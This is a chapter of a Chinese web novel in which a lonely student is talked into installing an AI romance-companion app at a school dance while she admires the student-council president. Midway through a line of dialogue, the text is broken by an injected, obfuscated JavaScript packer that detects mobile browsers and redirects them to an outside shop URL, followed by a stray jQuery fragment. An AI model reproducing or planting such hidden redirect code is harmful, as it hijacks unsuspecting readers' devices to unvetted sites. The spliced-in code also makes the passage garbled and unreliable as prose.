闵月炎凑过去，看了眼女生指给她的那个软件。
“Angelica……？”
这款软件，闵月炎没听说过，它并不在各大主流AI软件之列。
如今科技发展日新月异，连新纪元世界政府，都在积极普及推广AI使用。
为AI构建指令，是很常见的一种行为，甚至其中专门有一类人，会生成并发布情感陪伴类的人设及剧情指令。
闵月炎想起来地铁通道里的那幅公益广告：朋友，倾听、回应、支持你的某某。
AI早已经高度参与进人类社会的关系运作之中，是员工、是帮手、是朋友，更是任何一种只要人类需要，就能够扮演并担当的角色。
那些编写陪伴类指令的人，有将AI塑造成五花八门的宠物、友人、甚至是伴侣。
闵月炎不是没有接触到过这种信息，但哪怕是让人眼花缭乱的各类恋爱指令，她都只是一看一过，心上毫无波澜，对编写者发布的AI男友虚拟模板，提不起丝毫兴趣。
她委婉地跟身边的女生说：“校门外地铁口那个广告，你应该也看到过吧？上面只是提了‘朋友’，但是……”
女生的手机屏幕上，Angelica那个软件的欢迎界面，动画特效很绚烂地闪着。闵月炎的视线落在上面，语气带着迟疑，想了想还是问出口来。
“但是公益广告上面，没说虚拟恋爱这类AI男友的事情。那上面写的是‘朋友’两个字，不是吗？”
她身边那个女生摆了摆手，水晶镜架随着动作，折射礼堂的华丽顶光。
“男朋友就不是‘倾听、回应、支持你的某某’啦？朋友是那个样子的没错，可男朋友怎么不算在朋友里？男朋友也当然是朋友们之一啊。”
女生笑着看闵月炎，语气轻松，神情明快。
她说得理所当然，闵月炎找不出任何反驳的理由，晃着小脑袋乖乖地点了点头。
“你说的，好像也对……”
女生听了，更是开心地对她笑起，大大方方地把聊天记录，给她看了几条。
“怎么样？这个软件的AI参数里面，情商部分特别高对不对？”
说着女生又调出功能界面，对她展示跨窗口记忆等一系列软件优势。当下各大主流AI所具备的优势功能，Angelica可以说是一应俱全，而且好像更为全面。
闵月炎用心地看起女生展示的功能菜单，仔细听她讲解，对Angelica感兴趣起来。
“要我说，用AI谈虚拟男友，最应该找的就是Angelica了。它扮演的人设，模拟的恋爱情节，根本不可能有女生不觉得满意。”
作为Angelica的真实用户，闵月炎身边的女生，跟她打包票说，用了这款软件，绝对能给她极致的恋爱体验。
闵月炎打开应用商店，按照女生说的，点了Angelica的下载按钮。
“等装好了你也试试，就知道我完全没在跟你夸张了。”
女生热情地帮她注册软件，闵月炎自己却犯起了难，望着注册好的账号，小声咕哝。
“可是我好像，没什么特别喜欢的对象呢。我真的不知道要用它，创建个什么样的男朋友出来呀……”
她身边的女生这会儿没再说话，闵月炎只听到舞会的奏乐声音响起。
舞池旁的现场管弦乐队，已经流淌出悠扬的古典乐曲前奏。她转头看身旁的女生，又随着女生的目光，将视线转到舞池的中央去。
乐曲响起，会场中不只是她们两个，还有所有在场的人，视线都落在舞池正中的那对舞者身上。
陆离梦和全恕真，俊男搭配美女，没人能不被他们吸引过去目光。
一身西装利落剪裁，身姿挺拔，相貌俊朗的陆会长，挽着身着华丽银红礼裙的秘书长，美丽动人的校花全恕真。
他们滑进舞池，迈着优雅的舞步，在正中央的地方领舞。两个人配合默契，似乎世上再没有比他们，更般配的男女了。
哪怕陆离梦是对所有人都好的，接近中央空调一样的存在，但不可否认的是，他无论外形气质，还是待人接物，都像是最温柔和煦的暖融春风一样。
他无异于美妙梦幻般的明媚春日，是实打实的，从童话里走出来的白马王子。
而现在，王子正挽着他的舞伴，有高冷女神之称的，像一支高雅冷艳的红玫瑰般的全恕真。两个人在舞池里翩翩起舞，完全是白马王子与红玫瑰的动人画面。
陆离梦抬起手，带着全恕真转了个圈。她华丽的裙摆，如花瓣绽放般旋转打开，披在肩上的浅亚麻长发，也随着转身的动作，在半空中轻柔飘扬。
她和陆离梦两手相牵，两个人的视线，也交汇在一处。她眼角眉梢含着浅淡的笑，而他目光柔和专注地回看着她。
闵月炎远望着那对金童玉女一样的组合，看着轻揽住全恕真，带着舞伴在乐声中优雅游走的陆离梦。
那天在会长办公室里，陆离梦先问过闵月炎，要不要和他一起来这场舞会。闵月炎出神地望着舞池里的全恕真和他，沉醉在他们二人相拥起舞的美景里面，忍不住自问起来……
如果当时她接受了陆离梦的邀请，是不是现在他怀里揽着的舞伴，就不是全恕真，而是她了呢？
此时此刻所有人的目光所聚焦的，像一对金童玉女般羡煞旁人的，构成这幅美好画面的人，会是陆离梦和她闵月炎吗？
她隐隐生出羡慕，也生出期待与向往，却又立即叫醒自己，逼迫自己赶快冷静下来。
只有全恕真做陆离梦的舞伴，才会有此时此刻，这样打动人心的美好场面的呀……
全恕真那样优秀，那样漂亮，远不是她自己能够比得上的。
如果换成了她，来和陆离梦出席舞会，绝不会有全恕真此刻的这般效果。
她比不了全恕真，更当不起陆离梦的舞伴。
他是万人迷般的男神，学生会的会长大人。凭她远不如全恕真的这副样子，怎么能期盼做他的舞伴？
闵月炎自认普普通通，不敢对陆离梦，有任何不切实际的念头，无论是做舞伴，还是有更亲密的发展。
倒是坐她旁边的女生，刚刚让她生出的那番困惑，她看着陆离梦和全恕真的舞姿，脑海里忽然就闪过了一个答案。
“你还别说，你用的那个人机恋软件，对我来说，也许还真的有用武之地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643902|206495||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
闵月炎话里满是笑意，完全是一副小闺蜜之间打趣，开玩笑的态度。
“如果我想像全秘书长那样，跟陆会长结伴参加舞会，甚至是作为男女朋友接触的话，我远配不上他。对象是他的话，我可能就真的只有靠AI来生成，模拟两个人的恋爱体验了。”
她话里带着明确的自知之明。
这番闲聊，她其实是在和那个女生，明确地讲出她深知自己，在现实里，是一定不足以追得上陆离梦的。
她话音落，旁边久久没有再响起人声。
闵月炎从舞池里收回视线，奇怪地朝她身边看去。
与她邻近的那把椅子，原样摆放在桌沿近旁，和那个戴眼镜的女生出现前，位置一模一样。那个留齐耳短发，穿棒球服黑纱裙的女生，不知道什么时候，竟已经离开了。
那个女生走得那样悄无声息，坐过的椅子重又摆回原处，仿佛就像从没有出现过一样。
闵月炎甚至有一瞬产生错觉，刚刚真的出现过那个女生，而不是她幻听、幻视，自行虚构了根本不存在的一位聊天对象么？
她匆匆地低头，打开手机翻找。
屏幕上安安静静地，躺着一个名为Angelica的，最新安装注册的AI软件。
那个戴眼镜的短发女生，的的确确来过，也给她推荐安装了这款，能够完美支持人机恋的人工智能应用。
闵月炎环视一周，坐席附近，甚至是更远的餐吧、舞池方向，都完全找不到那个女生的身影了。
看来她是的确带着她手机里面的AI恋人，提前退场，早早地离开了她觉得无趣的这场舞会。
因为舞池里已经开舞的缘故，这会儿大多数人，都成双成对地去往舞池那边。
闵月炎所在的坐席角落，除了她自己，已然空无一人。
第一支乐曲刚刚过半，但就连那个戴眼镜的女生也不见了。闵月炎孤零零地待着，在衣香鬓影的舞会礼堂，看着远处人头攒动的热闹喧嚣，听着舞曲与人声交织混杂，高低错落。
她所在的这里，却暗极，静极，也百无聊赖极了。
与其继续在这里空耗时间，她宁可像那个短发女生一样，先行离席。
她拿起手机和包，沿着会场边缘，独自走出礼堂。
第一支舞结束的时候，她坐过的那个角落，已经完全没有了任何人在。
那里的光线很暗，但因为是她坐在那里，所以乐曲奏起之前，陆离梦就仔细地往她那边看过。
他知道她被同学们排挤欺负，以至于最终真的独自来了舞会。见她像那样坐在角落，他到底放心不下。等这支舞结束，他本打算和全恕真说明情况，请闵月炎也来跳上一支舞的。
没想到他和全恕真跳完了第一支舞，视线重新望向角落里时，闵月炎却已经离开了。
陆离梦远远地看着空无一人的坐席角落，沉默不语。
全恕真不解地顺着他的目光，在那个空寂昏暗的角落，什么都没看出来，只好再度回看向他。
“在看什么？”
她轻拉了拉他的袖子。
陆离梦出神地望着那里，薄唇轻抿了下，久久未答。